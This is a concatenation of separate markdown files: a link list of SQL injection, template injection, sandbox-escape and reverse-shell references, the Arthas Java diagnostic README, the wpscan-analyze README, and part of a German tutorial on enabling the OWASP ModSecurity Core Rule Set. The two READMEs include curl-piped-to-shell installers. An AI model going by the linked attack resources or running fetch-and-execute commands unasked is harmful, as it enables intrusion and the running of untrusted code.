https://www.infigo.hr/files/INFIGO-TD-2009-04_PostgreSQL_injection_ENG.pdf
https://medium.com/@ismailtasdelen/sql-injection-payload-list-b97656cfd66b
https://hydrasky.com/network-security/sql-injection-bypass-cheatsheet/
https://www.secjuice.com/advanced-sqli-waf-bypass/
https://www.exploit-db.com/papers/17934
https://medium.com/@infinitypaul/laravel-query-builder-security-8ce5e96233d9
https://security.stackexchange.com/questions/7024/is-it-possible-to-test-for-postgres-blindsql-injection-using-pg-sleep-in-a-whe
https://www.websec.ca/kb/sql_injection
https://incogbyte.github.io/sqli_waf_bypass/
https://medium.com/@frycos/finding-sql-injections-fast-with-white-box-analysis-a-recent-bug-example-ca449bce6c76
http://www.mannulinux.org/2015/03/blind-injection-exploitation-with.html
http://www.mannulinux.org/2018/03/erro-based-sql-injection-mysql.html
http://www.mannulinux.org/2020/09/sql-injection-filter-bypass-to-perform.html
https://blog.cobalt.io/a-pentesters-guide-to-sql-injection-sqli-16fd570c3532
https://www.exploit-db.com/exploits/46725
https://blog.pentesteracademy.com/postgresql-udf-command-execution-372f0c68cfed?gi=89e5578c5604
https://blog.pentesteracademy.com/postgresql-udf-command-execution-372f0c68cfed
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md
https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf
https://www.postgresql.org/docs/8.0/xfunc-sql.html
https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
https://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt
https://medium.com/@notsoshant/a-not-so-blind-rce-with-sql-injection-13838026331e
https://www.redsiege.com/blog/2018/11/sqli-data-exfiltration-via-dns/
http://pentestmonkey.net/category/cheat-sheet/sql-injection
http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
http://www.mannulinux.org/2020/04/exploiting-sql-injection-in-insert.html
https://github.com/21y4d/blindSQLi/blob/master/blindSQLi.py
https://github.com/Dionach/pgexec/blob/master/pg_exec.c
https://www.codeigniter.com/userguide3/database/queries.html#escaping-queries
#### Type Juggling
https://dzone.com/articles/type-juggling-authentication-bypass-vulnerability
https://hackerone.com/reports/86022
https://docs.google.com/spreadsheets/u/0/d/1oWsmTvEZcfgc_1QkBczNGA3Gcffg_pmgKcak7iZldUw/pub?output=html
https://www.alertlogic.com/blog/writing-exploits-for-exotic-bug-classes-php-type-juggling-d58/
https://labs.f-secure.com/archive/laravel-cookie-forgery-decryption-and-rce/
https://labs.f-secure.com/archive/wordpress-auth-cookie-forgery/
https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf
https://docs.google.com/file/d/0ByaHyu9Ur1viWV9yZFVwS3dpQ2M/edit
http://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.html
https://www.sans.org/blog/php-weak-typing-woes-8212-with-some-pontification-about-code-and-pen-testing/
#### JS Injection
https://howtonode.org/what-is-this
https://www.npmjs.com/package/safe-eval
https://capacitorset.github.io/mathjs/
https://riptutorial.com/javascript/example/32217/evaled-json-injection
https://medium.com/swlh/secure-code-review-and-penetration-testing-of-node-js-and-javascript-apps-41485b1a9518
https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html
https://blog.netspi.com/escape-nodejs-sandboxes/
https://humanwhocodes.com/blog/2013/06/25/eval-isnt-evil-just-misunderstood/
http://dfkaye.github.io/2014/03/14/javascript-eval-and-function-constructor/
https://portswigger.net/research/dom-based-angularjs-sandbox-escapes
https://nodejs.org/api/vm.html
https://nodejs.dev/learn/how-much-javascript-do-you-need-to-know-to-use-nodejs
https://nodejs.dev/learn/differences-between-nodejs-and-the-browser
https://blog.netspi.com/escape-nodejs-sandboxes/
https://ibreak.software/2016/08/nodejs-rce-and-a-simple-reverse-shell/
https://github.com/hacksparrow/safe-eval/issues/19
#### SSTI
https://0day.work/jinja2-template-injection-filter-bypasses/
https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
#### Misc
https://ippsec.rocks/?#
https://www.bitdefender.com/blog/consumer/avoid-malicious-files-double-extensions/
https://js.getwisdom.io/til-js-safely-reversing-unicode-strings/
https://eng.getwisdom.io/awesome-unicode/
https://developer.apple.com/library/archive/documentation/General/Conceptual/DevPedia-CocoaCore/ObjectGraph.html#//apple_ref/doc/uid/TP40008195-CH54-SW1
https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/
https://netsec.ws/?p=331
https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html
http://www.jackson-t.ca/runtime-exec-payloads.html
|
## Arthas
[](https://travis-ci.org/alibaba/arthas)
[](https://codecov.io/gh/alibaba/arthas)
[](https://search.maven.org/search?q=g:com.taobao.arthas)
[](http://isitmaintained.com/project/alibaba/arthas "Average time to resolve an issue")
[](http://isitmaintained.com/project/alibaba/arthas "Percentage of issues still open")
`Arthas` is a Java Diagnostic tool open sourced by Alibaba.
Arthas allows developers to troubleshoot production issues for Java applications without modifying code or restarting servers.
[中文说明/Chinese Documentation](README_CN.md)
**[2021中国开源项目评选，请投Arthas一票!](https://www.oschina.net/project/top_cn_2021?id=52)**
### Background
Often times, the production system network is inaccessible from the local development environment. If issues are encountered in production systems, it is impossible to use IDEs to debug the application remotely. More importantly, debugging in production environment is unacceptable, as it will suspend all the threads, resulting in the suspension of business services.
Developers could always try to reproduce the same issue on the test/staging environment. However, this is tricky as some issues cannot be reproduced easily on a different environment, or even disappear once restarted.
And if you're thinking of adding some logs to your code to help troubleshoot the issue, you will have to go through the following lifecycle; test, staging, and then to production. Time is money! This approach is inefficient! Besides, the issue may not be reproducible once the JVM is restarted, as described above.
Arthas was built to solve these issues. A developer can troubleshoot your production issues on-the-fly. No JVM restart, no additional code changes. Arthas works as an observer, which will never suspend your existing threads.
### Key features
* Check whether a class is loaded, or where the class is being loaded. (Useful for troubleshooting jar file conflicts)
* Decompile a class to ensure the code is running as expected.
* View classloader statistics, e.g. the number of classloaders, the number of classes loaded per classloader, the classloader hierarchy, possible classloader leaks, etc.
* View the method invocation details, e.g. method parameter, return object, thrown exception, and etc.
* Check the stack trace of specified method invocation. This is useful when a developers wants to know the caller of the said method.
* Trace the method invocation to find slow sub-invocations.
* Monitor method invocation statistics, e.g. qps, rt, success rate and etc.
* Monitor system metrics, thread states and cpu usage, gc statistics, and etc.
* Supports command line interactive mode, with auto-complete feature enabled.
* Supports telnet and websocket, which enables both local and remote diagnostics with command line and browsers.
* Supports profiler/Flame Graph
* Support get objects in the heap that are instances of the specified class.
* Supports JDK 6+.
* Supports Linux/Mac/Windows.
### [Online Tutorials(Recommended)](https://arthas.aliyun.com/doc/arthas-tutorials.html?language=en)
* [Usages](tutorials/katacoda/README.md#online-tutorial-usages)
### Quick start
#### Use `arthas-boot`(Recommended)
Download`arthas-boot.jar`，Start with `java` command:
```bash
curl -O https://arthas.aliyun.com/arthas-boot.jar
java -jar arthas-boot.jar
```
Print usage:
```bash
java -jar arthas-boot.jar -h
```
#### Use `as.sh`
You can install Arthas with one single line command on Linux, Unix, and Mac. Copy the following command and paste it into the command line, then press *Enter* to run:
```bash
curl -L https://arthas.aliyun.com/install.sh | sh
```
The command above will download the bootstrap script `as.sh` to the current directory. You can move it any other place you want, or put its location in `$PATH`.
You can enter its interactive interface by executing `as.sh`, or execute `as.sh -h` for more help information.
### Documentation
* [Online Tutorials(Recommended)](https://arthas.aliyun.com/doc/arthas-tutorials.html?language=en)
* [User manual](https://arthas.aliyun.com/doc/en)
* [Installation](https://arthas.aliyun.com/doc/en/install-detail.html)
* [Download](https://arthas.aliyun.com/doc/en/download.html)
* [Quick start](https://arthas.aliyun.com/doc/en/quick-start.html)
* [Advanced usage](https://arthas.aliyun.com/doc/en/advanced-use.html)
* [Commands](https://arthas.aliyun.com/doc/en/commands.html)
* [WebConsole](https://arthas.aliyun.com/doc/en/web-console.html)
* [Docker](https://arthas.aliyun.com/doc/en/docker.html)
* [Arthas Spring Boot Starter](https://arthas.aliyun.com/doc/en/spring-boot-starter.html)
* [User cases](https://github.com/alibaba/arthas/issues?q=label%3Auser-case)
* [FAQ](https://arthas.aliyun.com/doc/en/faq)
* [Compile and debug/How to contribute](https://github.com/alibaba/arthas/blob/master/CONTRIBUTING.md)
* [Release Notes](https://github.com/alibaba/arthas/releases)
### Feature Showcase
#### Dashboard
* https://arthas.aliyun.com/doc/en/dashboard
#### Thread
* https://arthas.aliyun.com/doc/en/thread
See what is eating your CPU (ranked by top CPU usage) and what is going on there in one glance:
```bash
$ thread -n 3
"as-command-execute-daemon" Id=29 cpuUsage=75% RUNNABLE
at sun.management.ThreadImpl.dumpThreads0(Native Method)
at sun.management.ThreadImpl.getThreadInfo(ThreadImpl.java:440)
at com.taobao.arthas.core.command.monitor200.ThreadCommand$1.action(ThreadCommand.java:58)
at com.taobao.arthas.core.command.handler.AbstractCommandHandler.execute(AbstractCommandHandler.java:238)
at com.taobao.arthas.core.command.handler.DefaultCommandHandler.handleCommand(DefaultCommandHandler.java:67)
at com.taobao.arthas.core.server.ArthasServer$4.run(ArthasServer.java:276)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
at java.lang.Thread.run(Thread.java:745)
Number of locked synchronizers = 1
- java.util.concurrent.ThreadPoolExecutor$Worker@6cd0b6f8
"as-session-expire-daemon" Id=25 cpuUsage=24% TIMED_WAITING
at java.lang.Thread.sleep(Native Method)
at com.taobao.arthas.core.server.DefaultSessionManager$2.run(DefaultSessionManager.java:85)
"Reference Handler" Id=2 cpuUsage=0% WAITING on java.lang.ref.Reference$Lock@69ba0f27
at java.lang.Object.wait(Native Method)
- waiting on java.lang.ref.Reference$Lock@69ba0f27
at java.lang.Object.wait(Object.java:503)
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:133)
```
#### jad
* https://arthas.aliyun.com/doc/en/jad
Decompile your class with one shot:
```java
$ jad javax.servlet.Servlet
ClassLoader:
+-java.net.URLClassLoader@6108b2d7
+-sun.misc.Launcher$AppClassLoader@18b4aac2
+-sun.misc.Launcher$ExtClassLoader@1ddf84b8
Location:
/Users/xxx/work/test/lib/servlet-api.jar
/*
* Decompiled with CFR 0_122.
*/
package javax.servlet;
import java.io.IOException;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
public interface Servlet {
public void init(ServletConfig var1) throws ServletException;
public ServletConfig getServletConfig();
public void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException;
public String getServletInfo();
public void destroy();
}
```
#### mc
* https://arthas.aliyun.com/doc/en/mc
Memory compiler, compiles `.java` files into `.class` files in memory.
```bash
$ mc /tmp/Test.java
```
#### retransform
* https://arthas.aliyun.com/doc/en/retransform
Load the external `*.class` files to retransform/hotswap the loaded classes in JVM.
```bash
retransform /tmp/Test.class
retransform -c 327a647b /tmp/Test.class /tmp/Test\$Inner.class
```
#### sc
* https://arthas.aliyun.com/doc/en/sc
Search any loaded class with detailed information.
```bash
$ sc -d org.springframework.web.context.support.XmlWebApplicationContext
class-info org.springframework.web.context.support.XmlWebApplicationContext
code-source /Users/xxx/work/test/WEB-INF/lib/spring-web-3.2.11.RELEASE.jar
name org.springframework.web.context.support.XmlWebApplicationContext
isInterface false
isAnnotation false
isEnum false
isAnonymousClass false
isArray false
isLocalClass false
isMemberClass false
isPrimitive false
isSynthetic false
simple-name XmlWebApplicationContext
modifier public
annotation
interfaces
super-class +-org.springframework.web.context.support.AbstractRefreshableWebApplicationContext
+-org.springframework.context.support.AbstractRefreshableConfigApplicationContext
+-org.springframework.context.support.AbstractRefreshableApplicationContext
+-org.springframework.context.support.AbstractApplicationContext
+-org.springframework.core.io.DefaultResourceLoader
+-java.lang.Object
class-loader +-org.apache.catalina.loader.ParallelWebappClassLoader
+-java.net.URLClassLoader@6108b2d7
+-sun.misc.Launcher$AppClassLoader@18b4aac2
+-sun.misc.Launcher$ExtClassLoader@1ddf84b8
classLoaderHash 25131501
```
#### vmtool
* https://arthas.aliyun.com/doc/en/vmtool
Get objects in the heap that are instances of the specified class.
```bash
$ vmtool --action getInstances --className java.lang.String --limit 10
@String[][
@String[com/taobao/arthas/core/shell/session/Session],
@String[com.taobao.arthas.core.shell.session.Session],
@String[com/taobao/arthas/core/shell/session/Session],
@String[com/taobao/arthas/core/shell/session/Session],
@String[com/taobao/arthas/core/shell/session/Session.class],
@String[com/taobao/arthas/core/shell/session/Session.class],
@String[com/taobao/arthas/core/shell/session/Session.class],
@String[com/],
@String[java/util/concurrent/ConcurrentHashMap$ValueIterator],
@String[java/util/concurrent/locks/LockSupport],
]
```
#### stack
* https://arthas.aliyun.com/doc/en/stack
View the call stack of `test.arthas.TestStack#doGet`:
```bash
$ stack test.arthas.TestStack doGet
Press Ctrl+C to abort.
Affect(class-cnt:1 , method-cnt:1) cost in 286 ms.
ts=2018-09-18 10:11:45;thread_name=http-bio-8080-exec-10;id=d9;is_daemon=true;priority=5;TCCL=org.apache.catalina.loader.ParallelWebappClassLoader@25131501
@test.arthas.TestStack.doGet()
at javax.servlet.http.HttpServlet.service(HttpServlet.java:624)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:731)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:303)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:110)
...
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:169)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:451)
at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1121)
at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:637)
at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:316)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:745)
```
#### Trace
* https://arthas.aliyun.com/doc/en/trace
See what is slowing down your method invocation with trace command:
#### Watch
* https://arthas.aliyun.com/doc/en/watch
Watch the first parameter and thrown exception of `test.arthas.TestWatch#doGet` only if it throws exception.
```bash
$ watch test.arthas.TestWatch doGet {params[0], throwExp} -e
Press Ctrl+C to abort.
Affect(class-cnt:1 , method-cnt:1) cost in 65 ms.
ts=2018-09-18 10:26:28;result=@ArrayList[
@RequestFacade[org.apache.catalina.connector.RequestFacade@79f922b2],
@NullPointerException[java.lang.NullPointerException],
]
```
#### Monitor
* https://arthas.aliyun.com/doc/en/monitor
Monitor a specific method invocation statistics, including the total number of invocations, average response time, success rate, and every 5 seconds:
```bash
$ monitor -c 5 org.apache.dubbo.demo.provider.DemoServiceImpl sayHello
Press Ctrl+C to abort.
Affect(class-cnt:1 , method-cnt:1) cost in 109 ms.
timestamp class method total success fail avg-rt(ms) fail-rate
----------------------------------------------------------------------------------------------------------------------------
2018-09-20 09:45:32 org.apache.dubbo.demo.provider.DemoServiceImpl sayHello 5 5 0 0.67 0.00%
timestamp class method total success fail avg-rt(ms) fail-rate
----------------------------------------------------------------------------------------------------------------------------
2018-09-20 09:45:37 org.apache.dubbo.demo.provider.DemoServiceImpl sayHello 5 5 0 1.00 0.00%
timestamp class method total success fail avg-rt(ms) fail-rate
----------------------------------------------------------------------------------------------------------------------------
2018-09-20 09:45:42 org.apache.dubbo.demo.provider.DemoServiceImpl sayHello 5 5 0 0.43 0.00%
```
#### Time Tunnel(tt)
* https://arthas.aliyun.com/doc/en/tt
Record method invocation data, so that you can check the method invocation parameters, returned value, and thrown exceptions later. It works as if you could come back and replay the past method invocation via time tunnel.
```bash
$ tt -t org.apache.dubbo.demo.provider.DemoServiceImpl sayHello
Press Ctrl+C to abort.
Affect(class-cnt:1 , method-cnt:1) cost in 75 ms.
INDEX TIMESTAMP COST(ms) IS-RET IS-EXP OBJECT CLASS METHOD
-------------------------------------------------------------------------------------------------------------------------------------
1000 2018-09-20 09:54:10 1.971195 true false 0x55965cca DemoServiceImpl sayHello
1001 2018-09-20 09:54:11 0.215685 true false 0x55965cca DemoServiceImpl sayHello
1002 2018-09-20 09:54:12 0.236303 true false 0x55965cca DemoServiceImpl sayHello
1003 2018-09-20 09:54:13 0.159598 true false 0x55965cca DemoServiceImpl sayHello
1004 2018-09-20 09:54:14 0.201982 true false 0x55965cca DemoServiceImpl sayHello
1005 2018-09-20 09:54:15 0.214205 true false 0x55965cca DemoServiceImpl sayHello
1006 2018-09-20 09:54:16 0.241863 true false 0x55965cca DemoServiceImpl sayHello
1007 2018-09-20 09:54:17 0.305747 true false 0x55965cca DemoServiceImpl sayHello
1008 2018-09-20 09:54:18 0.18468 true false 0x55965cca DemoServiceImpl sayHello
```
#### Classloader
* https://arthas.aliyun.com/doc/en/classloader
```bash
$ classloader
name numberOfInstances loadedCountTotal
BootstrapClassLoader 1 3346
com.taobao.arthas.agent.ArthasClassloader 1 1262
java.net.URLClassLoader 2 1033
org.apache.catalina.loader.ParallelWebappClassLoader 1 628
sun.reflect.DelegatingClassLoader 166 166
sun.misc.Launcher$AppClassLoader 1 31
com.alibaba.fastjson.util.ASMClassLoader 6 15
sun.misc.Launcher$ExtClassLoader 1 7
org.jvnet.hk2.internal.DelegatingClassLoader 2 2
sun.reflect.misc.MethodUtil 1 1
```
#### Web Console
* https://arthas.aliyun.com/doc/en/web-console
#### Profiler/FlameGraph
* https://arthas.aliyun.com/doc/en/profiler
```bash
$ profiler start
Started [cpu] profiling
```
```
$ profiler stop
profiler output file: /tmp/demo/arthas-output/20211207-111550.html
OK
```
View profiler results under arthas-output via browser:
#### Arthas Spring Boot Starter
* [Arthas Spring Boot Starter](https://arthas.aliyun.com/doc/spring-boot-starter.html)
### Known Users
Arthas has more than 120 registered users, [View All](USERS.md).
Welcome to register the company name in this issue: https://github.com/alibaba/arthas/issues/111 (in order of registration)
### Derivative Projects
* [Bistoury: A project that integrates Arthas](https://github.com/qunarcorp/bistoury)
* [A fork of arthas using MVEL](https://github.com/XhinLiang/arthas)
### Credits
#### Contributors
This project exists, thanks to all the people who contributed.
<a href="https://github.com/alibaba/arthas/graphs/contributors"><img src="https://opencollective.com/arthas/contributors.svg?width=890&button=false" /></a>
#### Projects
* [bytekit](https://github.com/alibaba/bytekit) Java Bytecode Kit.
* [greys-anatomy](https://github.com/oldmanpushcart/greys-anatomy): The Arthas code base has derived from Greys, we thank for the excellent work done by Greys.
* [termd](https://github.com/alibaba/termd): Arthas's terminal implementation is based on termd, an open source library for writing terminal applications in Java.
* [crash](https://github.com/crashub/crash): Arthas's text based user interface rendering is based on codes extracted from [here](https://github.com/crashub/crash/tree/1.3.2/shell)
* [cli](https://github.com/alibaba/cli): Arthas's command line interface implementation is based on cli, open sourced by vert.x
* [compiler](https://github.com/skalogs/SkaETL/tree/master/compiler) Arthas's memory compiler.
* [Apache Commons Net](https://commons.apache.org/proper/commons-net/) Arthas's telnet client.
* [async-profiler](https://github.com/jvm-profiling-tools/async-profiler) Arthas's profiler command.
|
# wpscan-analyze
Analyzes wpscan json output and checks for vulnerabilities
[](https://travis-ci.org/lukaspustina/wpscan-analyze) [](https://codecov.io/gh/lukaspustina/wpscan-analyze) [](https://github.com/lukaspustina/wpscan-analyze/releases) [](https://crates.io/crates/wpscan-analyze) [](./LICENSE)
[wpscan](https://wpscan.org) checks WordPress installation for outdated versions, plugins, and themes. `wpscan-analyze` analyses `wpscan`'s JSON output and signals results via exit status, JSON and human readable output.
## Basic Usage
`wpscan-analyze` needs an input file in JSON format generated by a run of `wpscan` against a WordPress installation.
### Run wpscan
`wpscan --url https://lukas.pustina.de --update --output wpscan.json --format json`
### Run wpscan-analyze
```bash
> wpscan-analyze -f wpscan.json
wpscan-analyze version=0.0.2, log level=Level(Warn)
+--------------------------+---------+---------------+--------------------+------------+------------+
| Component | Version | Version State | Vulnerabilities | Processing | Result |
+--------------------------+---------+---------------+--------------------+------------+------------+
| WordPress | 4.9.10 | Latest | No vulnerabilities | Ok | Ok |
| Main Theme | 3.2.1 | Latest | No vulnerabilities | Ok | Ok |
| Plugin: wp-super-cache | 1.6.3 | Outdated | No vulnerabilities | Ok | Outdated |
| Plugin: wp-super-cache | - | Unknown | No vulnerabilities | Ok | Unknown |
| Plugin: jm-twitter-cards | 9.4 | Outdated | No vulnerabilities | Ok | Outdated |
+--------------------------+---------+---------------+--------------------+------------+------------+
Analyzer result summary: outdated=2, unknown=1, vulnerabilities=1, failed=0
```
#### Exit codes
```
> echo $?
11
```
Ok => 0
Error => 1 or other
Vulnerable => 11
Outdated => 12
Failed => 13
Unknown => 14
### Help
`man 1 wpscan-analyze`
## Installation
### Ubuntu [x86_64]
Please add my [PackageCloud](https://packagecloud.io/lukaspustina/opensource) open source repository and install `wpscan-analyze` via apt.
```bash
curl -s https://packagecloud.io/install/repositories/lukaspustina/opensource/script.deb.sh | sudo bash
sudo apt-get install wpscan-analyze
```
### Install script [All Unix platforms]
**Simply run:**
```bash
curl -s https://raw.githubusercontent.com/lukaspustina/wpscan-analyze/master/install.sh | sh
```
The script will ask you if you want to install `wpscan-analyzer` from source OR from binaries from [release page](https://github.com/lukaspustina/wpscan-analyze/releases) (Linux binary is compilied with Ubuntu).
If you don't use Ubuntu linux or MacOs , you'll probably have to build the software from source.
If you use a non x86_64 processor, you must build the software from source.
### Manually
Install Rust environment and run:
```bash
git clone https://github.com/lukaspustina/wpscan-analyze.git
cd wpscan-analyze
cargo install --path .
cd ..
wpscan-analyze --version
```
### Docker
Please install [docker](https://docs.docker.com/get-docker/) and run:
```bash
git clone https://github.com/lukaspustina/wpscan-analyze
cd wpscan-analyze
docker image build -t wpscan-analyze .
```
Adjust volume mapping as your convinience.
For exemple, with relative paths, run it with:
```bash
docker run -it -v "$(pwd):/wpscan-analyze/" wpscan-analyze -f wpscan.json
```
Or share a temp dir:
```bash
docker run -it -v "/tmp/:/tmp/" wpscan-analyze -f /tmp/wpscan.json
```
## Postcardware
You're free to use `wpscan-analyze`. If you find it useful, I would highly appreciate you sending me a postcard from your hometown mentioning how you use `wpscan-analyze`. My work address is
```
Lukas Pustina
CenterDevice GmbH
Rheinwerkallee 3
53227 Bonn
German
|
## Title: OWASP ModSecurity Core Rule Set einbinden
### Was machen wir?
Wir binden das OWASP ModSecurity Core Rule Set in unseren Apache Webserver ein und merzen Fehlalarme aus.
### Warum tun wir das?
Die Web Application Firewall ModSecurity, wie wir sie in Anleitung Nummer 6 eingerichtet haben, besitzt noch beinahe keine Regeln. Der Schutz spielt aber erst, wenn man ein möglichst umfassendes Regelset hinzukonfiguriert. Die Core Rules bieten generisches Blacklisting. Das heisst, sie untersuchen die Anfragen und die Antworten nach Hinweisen auf Angriffe. Die Hinweise sind oft Schlüsselwörter und typische Muster, die auf verschiedenste Arten von Angriffen hindeuten können. Das bringt es mit sich, dass auch Fehlalarme ausgelöst werden (*False Positives*). Für eine erfolgreiche Installation müssen wir diese wegkonfigurieren.
### Voraussetzungen
* Ein Apache Webserver, idealerweise mit einem File-Layout wie bei [Anleitung 1 (Kompilieren eines Apache Servers)](https://www.netnea.com/cms/apache_tutorial_1_apache_compilieren/) erstellt.
* Verständnis der minimalen Konfiguration in [Anleitung 2 (Apache minimal konfigurieren)](https://www.netnea.com/cms/apache_tutorial_2_apache_minimal_konfigurieren/).
* Ein Apache Webserver mit SSL-/TLS-Unterstützung wie in [Anleitung 4 (Konfigurieren eines SSL Servers)](https://www.netnea.com/cms/apache-tutorial-4-ssl-server-konfigurieren/)
* Ein Apache Webserver mit erweitertem Zugriffslog wie in [Anleitung 5 (Das Zugriffslog Ausbauen und Auswerten)](https://www.netnea.com/cms/apache-tutorial-5-zugriffslog-ausbauen/)
* Ein Apache Webserver mit ModSecurity wie in [Anleitung 6 (ModSecurity einbinden)](https://www.netnea.com/cms/apache-tutorial-6-modsecurity-einbinden/)
Wir werden mit dem neuen Major Release 3.0 des Core Rule Sets arbeiten; kurz CRS3. Das offizielle CRS3 Paket wird mit einer _INSTALL_ Datei ausgeliefert, welche das Einrichten der Regeln sehr gut erklärt (zufälligerweise habe ich neben dieser Anleitung hier auch einen grossen Teil des INSTALL Files geschrieben). Wir werden den Installationsprozess aber etwas umstellen, damit er besser auf unsere Bedürfnisse passt.
### Schritt 1: OWASP ModSecurity Core Rule Set herunterladen
Die ModSecurity Core Rules werden unter dem Dach von *OWASP*, dem Open Web Application Security Project entwickelt. Die Rules selbst liegen auf *GitHub* und können wie folgt heruntergeladen werden.
```
$> cd /apache/conf
$> wget https://github.com/coreruleset/coreruleset/archive/v3.3.0.tar.gz
$> tar -xvzf v3.3.0.tar.gz
coreruleset-3.3.0/
coreruleset-3.3.0/CHANGES
coreruleset-3.3.0/IDNUMBERING
coreruleset-3.3.0/INSTALL
coreruleset-3.3.0/KNOWN_BUGS
coreruleset-3.3.0/LICENSE
coreruleset-3.3.0/README.md
coreruleset-3.3.0/crs-setup.conf.example
coreruleset-3.3.0/documentation/
coreruleset-3.3.0/documentation/OWASP-CRS-Documentation/
coreruleset-3.3.0/documentation/README
...
$> sudo ln -s coreruleset-3.3.0 /apache/conf/crs
$> cp crs/crs-setup.conf.example crs/crs-setup.conf
$> rm v3.3.0.tar.gz
```
Dies entpackt den Basis Teil des Core Rule Set im Verzeichnis `/apache/conf/coreruleset-3.3.0`. Wir kreieren einen Link von `/apache/conf/crs` in dieses Verzeichnis. Dann kopieren wir eine Datei namens `crs-setup.conf.example` und zum Abschluss löschen wir das CRS tar File.
Dieses Setup File erlaubt es uns, mit mehreren verschiedenen Einstellungen herumzuspielen. Es lohnt sich einen Blick darauf zu werfen; und sei es nur um zu sehen, was es alles gibt. Für den Moment sind wir aber mit den Basis-Einstellungen zufrieden und werden die Datei nicht anfassen; wir werden einfach sicher stellen, dass es unter dem neuen Dateinamen `crs-setup.conf` zur Verfügung steht. Dann können wir das Apache Konfigurationsfile anpassen und die Regeln einbinden.
### Schritt 2: Core Rule Set einbinden
In der Anleitung 6, in welcher wir ModSecurity selbst eingebunden haben, markierten wir bereits einen Bereich für die Core-Rules. In diesen Bereich fügen wir die Include-Direktive jetzt ein. Konkret kommen vier Teile zur bestehenden Konfiguration hinzu. (1) Die Core Rules Basis-Konfiguration, (2) ein Teil für selbst zu definierende Regelausschlüsse vor dem Core Rule Set (sogenannte Rule Exclusions). Dann (3) die Core Rules selbst und schliesslich ein Teil (4) für selbst zu definierende Regelausschlüsse nach dem Core Rule Set.
Die sogenannten Rule Exclusions bezeichnen Regeln und Direktiven, die dazu dienen, mit den oben beschriebenen Fehlalarmen umzugehen. Manche Fehlalarme müssen verhindert werden, bevor die entsprechende Core Rule geladen wird. Manche Fehlalarme können erst nach der Definition der Core Rule selbst abgefangen werden. Aber der Reihe nach. Hier zunächst der neue Konfigurationsblock den wir in die Basiskonfiguration, die wir beim Einrichten von ModSecurity erstellt haben, einführen:
```bash
# === ModSec Core Rule Set Base Configuration (ids: 900000-900999)
Include /apache/conf/crs/crs-setup.conf
SecAction "id:900110,phase:1,pass,nolog,\
setvar:tx.inbound_anomaly_score_threshold=10000,\
setvar:tx.outbound_anomaly_score_threshold=10000"
SecAction "id:900000,phase:1,pass,nolog,\
setvar:tx.paranoia_level=1"
# === ModSec Core Rule Set: Runtime Exclusion Rules (ids: 10000-49999)
# ...
# === ModSecurity Core Rule Set Inclusion
Include /apache/conf/crs/rules/*.conf
# === ModSec Core Rule Set: Startup Time Rules Exclusions
# ...
```
Das CRS arbeitet mit einem Basis-Konfigurationsfile namens `crs-setup.conf`, das wir während der Installation vorbereitet haben. Das Kopieren des Files garantiert, dass wir das CRS updaten können, ohne dass wir unsere Basis-Konfiguration überschreiben - es sei denn, wir wollen das wirklich.
Wir können die verschiedenen Einstellungen im Basis-Konfigurationsfile anpassen. Die Strategie in dieser Anleitung ist es allerdings, die wichtigen Dinge direkt in unserer Apache Konfiguration zu definieren. Wir möchten nicht den kompletten Inhalt von `crs-setup.conf` in unsere Konfiguration einfügen, nur um die minimalen Einstellungen zum Start des CRS zu erhalten. Stattdessen laden wir die Datei über ein *Include* Statement und setzen diejenigen Werte, die wir zu ändern gedenken, in der Apache Konfiguration selbst. Ich möchte hier auch nicht die ganzen Einstellungen im `crs-setup.conf` referieren, aber ein Blick lohnt sich wirklich.
